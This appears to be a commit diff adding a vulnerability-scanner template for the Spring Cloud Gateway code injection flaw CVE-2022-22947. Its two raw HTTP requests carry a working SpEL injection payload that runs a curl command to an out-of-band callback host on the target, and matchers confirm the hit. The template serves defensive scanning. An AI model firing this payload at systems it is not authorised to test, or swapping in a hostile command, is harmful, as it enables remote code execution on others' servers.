Spring Cloud Gateway Code Injection (CVE-2022-22947)

patch-1
sandeep 2022-03-02 14:15:10 +05:30
parent f5cf88c2e8
commit 9ba37cacfd
1 changed files with 67 additions and 0 deletions

View File

@ -0,0 +1,67 @@
id: CVE-2022-22947
info:
name: Spring Cloud Gateway Code Injection
author: pdteam
severity: critical
description: Applications using Spring Cloud Gateway are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.
reference:
- https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/
- https://github.com/wdahlenburg/spring-gateway-demo
- https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published
- https://tanzu.vmware.com/security/cve-2022-22947
tags: cve,cve2022,apache,spring,vmware,actuator
requests:
- raw:
- |
POST /actuator/gateway/routes/new_route HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/new_route/**"
}
}
],
"filters": [
{
"name": "RewritePath",
"args": {
"_genkey_0": "#{T(java.lang.Runtime).getRuntime().exec(\"curl {{interactsh-url}}\")}",
"_genkey_1": "/${path}"
}
}
],
"uri": "https://wya.pl",
"order": 0
}
- |
POST /actuator/gateway/refresh HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"predicate": "Paths: [/new_route], match trailing slash: true",
"route_id": "new_route",
"filters": [
"[[RewritePath #{T(java.lang.Runtime).getRuntime().exec(\"curl {{interactsh-url}}\")} = /${path}], order = 1]"
],
"uri": "https://wya.pl",
"order": 0
}
matchers-condition: and
matchers:
- type: status
status:
- 201
- type: word
part: interactsh_protocol
words:
- "http"